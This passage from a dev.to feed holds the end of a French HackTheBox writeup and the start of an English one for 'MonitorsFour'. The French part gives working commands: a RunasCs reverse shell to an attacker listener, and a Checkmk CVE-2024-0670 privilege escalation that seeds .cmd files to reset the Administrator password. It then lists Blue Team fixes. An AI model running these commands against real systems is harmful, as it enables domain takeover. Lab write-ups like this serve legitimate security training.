&lt;p&gt;On utilise RunasCs depuis Evil-WinRM pour obtenir un reverse shell en tant que &lt;code&gt;web_svc&lt;/code&gt; avec une &lt;strong&gt;session interactive type 2&lt;/strong&gt;. C'est cette session qui nous permettra de déclencher msiexec.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;T1 — Penelope&lt;/strong&gt; en écoute :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Depuis Evil-WinRM :&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;C:\programdata\RunasCs.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;web_svc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'dksehdgh712!@#'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;10.10.16.52:4444&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;-l 2&lt;/code&gt; ?&lt;/strong&gt; Ce flag force RunasCs à créer un logon de type 2 (interactive). Sans lui, RunasCs utilise le type par défaut qui ne permettrait pas à msiexec de fonctionner. C'est &lt;strong&gt;le&lt;/strong&gt; flag critique de toute la privesc.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;-r 10.10.16.52:4444&lt;/code&gt; ?&lt;/strong&gt; RunasCs envoie un reverse shell vers notre listener. On ne peut pas avoir de shell interactif direct depuis Evil-WinRM car on est déjà dans une session WinRM.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqgiyhacoho1ectzcez2c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqgiyhacoho1ectzcez2c.png" alt="Penelope — reverse shell web_svc reçu" width="800" height="181"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Penelope reçoit le shell — on vérifie :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Windows\system32&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;nanocorp\web_svc
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Exploit — Seed et déclenchement
&lt;/h3&gt;

&lt;p&gt;Depuis le reverse shell &lt;code&gt;web_svc&lt;/code&gt; (session interactive type 2), on prépare et déclenche l'exploit en deux étapes.&lt;/p&gt;

&lt;h4&gt;
  
  
  Étape 1 — Seeder les fichiers .cmd
&lt;/h4&gt;

&lt;p&gt;On crée 10 000 fichiers &lt;code&gt;.cmd&lt;/code&gt; avec un payload simple : écrire &lt;code&gt;whoami&lt;/code&gt; dans un fichier de preuve et changer le mot de passe Administrator. Pas besoin de reverse shell depuis SYSTEM — on change simplement le mot de passe admin.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1..10000 | foreach { Set-Content -Path C:\Windows\Temp\cmk_all_&lt;/span&gt;&lt;span class="nv"&gt;${_}&lt;/span&gt;&lt;span class="s2"&gt;_1.cmd -Value 'whoami &amp;gt; C:\programdata\proof.txt &amp;amp; net user Administrator H4cked123!' -Force; Set-ItemProperty -Path C:\Windows\Temp\cmk_all_&lt;/span&gt;&lt;span class="nv"&gt;${_}&lt;/span&gt;&lt;span class="s2"&gt;_1.cmd -Name IsReadOnly -Value &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="s2"&gt; }"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi un payload aussi simple ?&lt;/strong&gt; On n'a pas besoin d'un reverse shell SYSTEM. Le payload fait deux choses : (1) il prouve l'exécution SYSTEM via &lt;code&gt;whoami &amp;gt; proof.txt&lt;/code&gt;, et (2) il change le mot de passe Administrator. Après ça, on se connecte directement en admin via Evil-WinRM. Plus c'est simple, moins il y a de risque que Defender intervienne.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi counter &lt;code&gt;_1&lt;/code&gt; ?&lt;/strong&gt; Le counter dans le pattern Checkmk commence à 0 ou 1 selon la version. On utilise &lt;code&gt;_1&lt;/code&gt; pour couvrir le cas le plus courant.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;-Force&lt;/code&gt; et &lt;code&gt;IsReadOnly&lt;/code&gt; ?&lt;/strong&gt; &lt;code&gt;-Force&lt;/code&gt; écrase les fichiers existants (d'une tentative précédente). &lt;code&gt;IsReadOnly&lt;/code&gt; empêche msiexec de les remplacer par son propre contenu — il exécute les nôtres à la place.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Étape 2 — Déclencher msiexec /fa
&lt;/h4&gt;

&lt;p&gt;Toujours depuis le reverse shell &lt;code&gt;web_svc&lt;/code&gt; (session type 2) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;cmd&lt;/span&gt; &lt;span class="na"&gt;/c &lt;/span&gt;&lt;span class="s2"&gt;"msiexec /fa C:\Windows\Installer\1e6f2.msi"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;cmd /c&lt;/code&gt; ?&lt;/strong&gt; On enveloppe msiexec dans &lt;code&gt;cmd /c&lt;/code&gt; pour s'assurer que la commande est exécutée dans un nouveau processus cmd.exe propre, et que le shell actuel attend la fin de l'exécution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi cette commande fonctionne ici mais pas depuis Evil-WinRM ?&lt;/strong&gt; Parce qu'on est dans une session &lt;strong&gt;interactive type 2&lt;/strong&gt; créée par RunasCs. Evil-WinRM est une session réseau type 3 — msiexec refuse silencieusement d'y fonctionner.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Étape 3 — Vérification
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="kd"&gt;C&lt;/span&gt;:\programdata\proof.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nt authority\system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffen7xtr99bc11y0hocv9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffen7xtr99bc11y0hocv9.png" alt="proof.txt — exécution SYSTEM confirmée" width="799" height="298"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📸 &lt;strong&gt;SYSTEM confirmé !&lt;/strong&gt; Le mot de passe Administrator a été changé.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 Connexion en tant qu'Administrator
&lt;/h3&gt;

&lt;p&gt;Le payload a changé le mot de passe de l'administrateur. On se connecte directement :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; dc01.nanocorp.htb &lt;span class="nt"&gt;-u&lt;/span&gt; Administrator &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'H4cked123!'&lt;/span&gt; &lt;span class="nt"&gt;--ssl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C:\Users\Administrator\Desktop\root.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl400t4elfrcyo6olorny.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl400t4elfrcyo6olorny.png" alt="Root flag récupéré" width="800" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚩 &lt;strong&gt;Root flag owned !&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Difficultés rencontrées et solutions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Le piège du logon type 2 vs 3
&lt;/h3&gt;

&lt;p&gt;C'est le point le plus frustrant de la box : &lt;code&gt;msiexec /fa&lt;/code&gt; &lt;strong&gt;ne produit aucune erreur&lt;/strong&gt; quand il refuse de tourner en logon type 3. Il se termine simplement sans rien faire. On peut passer des heures à debugger le payload (RunasCs ? nc.exe ? quoting ?) alors que le problème est le contexte d'exécution.&lt;/p&gt;

&lt;p&gt;La solution : RunasCs avec le flag &lt;strong&gt;&lt;code&gt;-l 2&lt;/code&gt;&lt;/strong&gt; depuis Evil-WinRM pour créer un reverse shell dans une session interactive. Depuis cette session, msiexec accepte de fonctionner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;La leçon :&lt;/strong&gt; quand une commande Windows ne fait "rien" sans erreur, penser au logon type. C'est un pattern qui revient aussi avec &lt;code&gt;schtasks&lt;/code&gt;, &lt;code&gt;wmic&lt;/code&gt;, et d'autres outils qui refusent silencieusement les sessions réseau.&lt;/p&gt;

&lt;h3&gt;
  
  
  BloodHound CE + PostgreSQL 18
&lt;/h3&gt;

&lt;p&gt;La version de BloodHound CE packagée dans Kali (&lt;code&gt;9.2.2-0kali1&lt;/code&gt;) est incompatible avec PostgreSQL 18 (erreur &lt;code&gt;syntax error at or near "STORAGE"&lt;/code&gt;). La syntaxe &lt;code&gt;TEXT STORAGE MAIN&lt;/code&gt; a été supprimée en PG18.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix :&lt;/strong&gt; patcher le fichier de migration SQL et donner les droits corrects au rôle :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Supprimer la syntaxe STORAGE obsolète&lt;/span&gt;
&lt;span class="nb"&gt;sudo sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'s/[[:space:]]+STORAGE[[:space:]]+(MAIN|EXTERNAL|EXTENDED|PLAIN|DEFAULT)//g'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  /usr/lib/bloodhound/cmd/api/src/database/migration/migrations/00000000000001_init.sql

&lt;span class="c"&gt;# Recréer la base avec le bon owner&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; postgres psql &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;SQL&lt;/span&gt;&lt;span class="sh"&gt;'
DROP DATABASE IF EXISTS bloodhound;
CREATE DATABASE bloodhound OWNER _bloodhound;
&lt;/span&gt;&lt;span class="se"&gt;\c&lt;/span&gt;&lt;span class="sh"&gt; bloodhound
ALTER SCHEMA public OWNER TO _bloodhound;
GRANT ALL ON SCHEMA public TO _bloodhound;
&lt;/span&gt;&lt;span class="no"&gt;SQL

&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart bloodhound
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternative plus propre : &lt;strong&gt;stack Docker officielle&lt;/strong&gt; (&lt;code&gt;curl -L https://ghst.ly/getbhce -o docker-compose.yml &amp;amp;&amp;amp; docker compose up -d&lt;/code&gt;) qui embarque sa propre version de PostgreSQL compatible.&lt;/p&gt;




&lt;h2&gt;
  
  
  Blue Team — Comment corriger
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnérabilité&lt;/th&gt;
&lt;th&gt;Correction&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE-2025-24071&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mettre à jour Windows (patch KB5053598). Filtrer les uploads ZIP côté application — ne jamais extraire d'archives côté serveur sans sandbox.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AddSelf sur IT_SUPPORT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Auditer les ACL AD avec BloodHound. Supprimer le droit AddSelf sur les groupes de support — utiliser des workflows de demande d'accès (ITSM) à la place.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ForceChangePassword&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Restreindre ce droit aux comptes administratifs dédiés, jamais à des groupes de support. Activer l'audit des changements de mot de passe (Event ID 4724).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Protected Users contournable&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Protected Users est une bonne pratique, mais ne protège pas contre le changement de mot de passe par un tiers. Combiner avec LAPS et des mots de passe rotatifs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE-2024-0670&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Mettre à jour Checkmk Agent vers 2.2+ (corrigé). En attendant, restreindre les ACL sur &lt;code&gt;C:\Windows\Temp&lt;/code&gt; pour empêcher les utilisateurs non-SYSTEM d'y écrire des &lt;code&gt;.cmd&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Webshell via webroot&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ne pas accorder &lt;code&gt;WriteData&lt;/code&gt; à &lt;code&gt;BUILTIN\Users&lt;/code&gt; sur le webroot. Exécuter Apache sous un compte de service dédié avec des droits minimaux.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Références
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/0x6rss/CVE-2025-24071_PoC" rel="noopener noreferrer"&gt;CVE-2025-24071 — PoC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/elsevar11/CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit" rel="noopener noreferrer"&gt;CVE-2024-0670 — Checkmk Agent LPE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/antonioCoco/RunasCs" rel="noopener noreferrer"&gt;RunasCs — antonioCoco&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/SpecterOps/BloodHound" rel="noopener noreferrer"&gt;BloodHound CE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Hackplayers/evil-winrm" rel="noopener noreferrer"&gt;Evil-WinRM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/lgandx/Responder" rel="noopener noreferrer"&gt;Responder&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Writeup par &lt;a href="https://youtube.com/@whyshell" rel="noopener noreferrer"&gt;WhyShell&lt;/a&gt; — comprendre le pourquoi derrière chaque exploit.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>ctf</category>
      <category>activedirectory</category>
      <category>windows</category>
    </item>
    <item>
      <title>HTB — MonitorsFour | Writeup</title>
      <dc:creator>WhyShell</dc:creator>
      <pubDate>Mon, 25 May 2026 18:15:21 +0000</pubDate>
      <link>https://dev.to/whyshell/htb-monitorsfour-writeup-381k</link>
      <guid>https://dev.to/whyshell/htb-monitorsfour-writeup-381k</guid>
      <description>&lt;p&gt;&lt;a href="https://dev.to/whyshell/htb-monitorsfour-writeup-7b1"&gt;🇫🇷 Version française&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Platform&lt;/strong&gt;: HackTheBox | &lt;strong&gt;Difficulty&lt;/strong&gt;: Easy | &lt;strong&gt;OS&lt;/strong&gt;: Windows (Docker Desktop / WSL2)&lt;br&gt;
&lt;strong&gt;Machine:&lt;/strong&gt; &lt;a href="https://app.hackthebox.com/machines/MonitorsFour" rel="noopener noreferrer"&gt;HTB — MonitorsFour&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Chain&lt;/strong&gt;: IDOR → Hash cracking → Cacti RCE → Docker escape&lt;/p&gt;


&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;p&gt;MonitorsFour is a Windows box that hides almost its entire attack surface behind a PHP web application and a containerized infrastructure. The path unfolds in four acts: a logic flaw in an API leaks credentials, those credentials grant access to a vulnerable monitoring service with an RCE, the resulting shell lands inside a Docker container, and the final escape leverages the Docker API exposed without authentication on the internal network.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt; &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP nginx&lt;/td&gt;
&lt;td&gt;Redirects to &lt;code&gt;monitorsfour.htb&lt;/code&gt; — virtual hosting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5985&lt;/td&gt;
&lt;td&gt;WinRM (Microsoft HTTPAPI)&lt;/td&gt;
&lt;td&gt;Windows shell access if valid creds&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why this matters:&lt;/strong&gt; The nginx + WinRM combination on a Windows box is a classic containerization signal. nginx typically runs on Linux — here it's inside a Docker Desktop container on the Windows host. Port 5985 is the actual Windows WinRM. This observation should have triggered suspicion immediately.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; monitorsfour.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Subdomain discovery
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/combined_subdomains.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: FUZZ.monitorsfour.htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-ac&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; 50 &lt;span class="nt"&gt;-s&lt;/span&gt; | &lt;span class="nb"&gt;tee &lt;/span&gt;fuzz.txt
&lt;span class="c"&gt;# cacti&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqw4ga9ds3hag6ctawlv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feqw4ga9ds3hag6ctawlv.png" alt=" " width="402" height="357"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IP&lt;/span&gt;&lt;span class="s2"&gt; monitorsfour.htb cacti.monitorsfour.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why fuzz vhosts:&lt;/strong&gt; A single server can host multiple websites based on the HTTP &lt;code&gt;Host:&lt;/code&gt; header. Since the box already uses virtual hosting (the IP → domain redirect gives it away), there are likely other hidden sites behind the same IP. &lt;code&gt;cacti.monitorsfour.htb&lt;/code&gt; turns out to be the real entry point.&lt;/p&gt;

&lt;h3&gt;
  
  
  Endpoint enumeration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://monitorsfour.htb/FUZZ &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/Web-Content/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-e&lt;/span&gt; .php &lt;span class="nt"&gt;-t&lt;/span&gt; 50 &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403 &lt;span class="nt"&gt;-ic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Route&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/login&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Login page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/forgot-password&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;Password reset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;200&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;API endpoint — 35 bytes response&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/static&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;301&lt;/td&gt;
&lt;td&gt;Assets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/controllers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;403&lt;/td&gt;
&lt;td&gt;Source code not directly accessible&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://monitorsfour.htb/user"&lt;/span&gt;
&lt;span class="c"&gt;# {"error":"Missing token parameter"}&lt;/span&gt;

curl &lt;span class="s2"&gt;"http://monitorsfour.htb/user?token=test"&lt;/span&gt;
&lt;span class="c"&gt;# {"error":"Invalid or missing token"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. IDOR — Credential leak via token=0
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The flaw:&lt;/strong&gt; The &lt;code&gt;/user?token=&lt;/code&gt; endpoint validates a user identifier. The controller logic does (in pseudocode):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// valid token → one user&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_all_users&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;    &lt;span class="c1"&gt;// otherwise → ALL users&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



